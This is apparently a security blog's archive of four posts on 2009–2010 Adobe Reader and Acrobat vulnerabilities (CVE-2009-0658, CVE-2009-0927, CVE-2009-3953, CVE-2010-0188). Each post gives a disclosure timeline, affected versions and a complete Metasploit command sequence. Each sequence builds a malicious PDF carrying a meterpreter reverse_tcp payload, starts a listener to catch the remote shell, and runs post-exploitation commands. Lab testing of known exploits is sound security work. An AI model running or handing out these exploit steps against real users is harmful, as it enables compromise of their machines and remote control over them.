Category Archives: Metasploit

All my posts regarding Metasploit framework, auxiliaries, plugins and exploits.

CVE-2009-0658 : Adobe Acrobat JBIG2Decode Memory Corruption Exploit

Exploits, Metasploit, ,

Timeline :

Exploit discovered in the wild the 2009-02-19
Milw0rm PoC provided by Guido Landi the 2009-02-23
Metasploit PoC provided by Nathan Keltner the 2009-03-26

    PoC provided by :

natron
xort
redsand
MC
Didier Stevens

    Reference(s) :

CVE-2009-0658
EDB-ID-11987

    Affected version(s) :

Adobe Reader and Adobe Acrobat Professional 9.0.0
Adobe Reader and Adobe Acrobat Professional prior to version 8.1.4
Adobe Reader and Adobe Acrobat Professional prior to version 7.1.1

    Tested on Windows XP SP3 with :

    Adobe Reader 9.0.0

    Description :

This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier. This module relies upon javascript for the heap spray.

    Commands :

use exploit/windows/fileformat/adobe_jbig2de­code
set OUTPUTPATH /home/eromang
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit -j

sessions -i 1
sysinfo
getuid
ipconfig

CVE-2009-0927 : Adobe Acrobat Collab.getIcon Buffer Overflow

Exploits, Metasploit, ,

Timeline :

Vulnerability reported to ZDI by Tenable Network Security
Vulnerability reported by ZDI to the vendor the 2008-07-03
Coordinated advisory release the 2009-03-24
Metasploit PoC provided by HD Moore the 2009-03-28
Milw0rm PoC provided by Abysssec the 2009-05-04

    PoC provided by :

MC
Didier Stevens
jduck

    Reference(s) :

CVE-2009-0927

    Affected version(s) :

Adobe Reader and Adobe Acrobat Professional 9.0.0
Adobe Reader and Adobe Acrobat Professional prior to version 8.1.4
Adobe Reader and Adobe Acrobat Professional prior to version 7.1.1

    Tested on Windows XP SP3 with :

    Adobe Reader 9.0.0

    Description :

This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat. Affected versions include prior to 7.1.1, prior to 8.1.3, and prior to 9.1. By creating a specially crafted pdf that a contains malformed Collab.getIcon() call, an attacker may be able to execute arbitrary code.

    Commands :

use exploit/windows/fileformat/adobe_geticon
set OUTPUTPATH /home/eromang
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit -j

sessions -i 1
sysinfo
getuid
ipconfig

CVE-2009-3953 : Adobe Acrobat U3D CLODProgressiveMeshDeclaration Array Overrun

Exploits, Metasploit, ,

Timeline :

Vulnerability provided to Secunia by Felipe Andres Manzano for versions prior to 9.2
Vulnerability provided to Secunia by Parvez Anwar for version 9.2
Vulnerabilities provided by Secunia to the vendor
Metasploit PoC provided by duck the 2009-11-25
Coordinated advisory release the 2010-01-12 !

    PoC provided by :

Felipe Andres Manzano
jduck

    Reference(s) :

CVE-2009-3953

    Affected version(s) :

Adobe Reader and Acrobat Professional prior to version 9.3
Acrobat prior to version 8.2

    Tested on Windows XP SP3 with :

    Adobe Reader 9.0.0

    Description :

This module exploits an array overflow in Adobe Reader and Adobe Acrobat. Affected versions include prior to 7.1.4, prior to 8.2, and prior to 9.3. By creating a specially crafted pdf that a contains malformed U3D data, an attacker may be able to execute arbitrary code.

    Commands :

use exploit/windows/fileformat/adobe_u3d_mes­hdecl
set OUTPUTPATH /home/eromang
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit -j

sessions -i 1
sysinfo
getuid
ipconfig

CVE-2010-0188 : Adobe Acrobat Bundled LibTIFF Integer Overflow

Exploits, Metasploit, ,

Timeline :

Vulnerability reported by Microsoft to vendor
Coordinated public disclosure the 2010-02-16
PoC provided by villy the 2010-03-12
Metasploit PoC provided by duck the 2010-03-16
PoC provided by villy on Exploit-DB the 2010-03-17

    PoC provided by :

Microsoft
villy
jduck

    Reference(s) :

CVE-2010-0188

    Affected version(s) :

Adobe Reader 9.3 and earlier versions for Windows, Macintosh, and UNIX
Adobe Acrobat 9.3 and earlier versions for Windows and Macintosh

    Tested on Windows XP SP3 with :

    Adobe Reader 9.3.0

    Description :

This module exploits an integer overflow vulnerability in Adobe Reader and Adobe Acrobat Professional versions 8.0 through 8.2 and 9.0 through 9.3.

    Commands :

use exploit/windows/fileformat/adobe_libtiff
set OUTPUTPATH /home/eromang
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit -j

sessions -i 1
sysinfo
getuid
ipconfig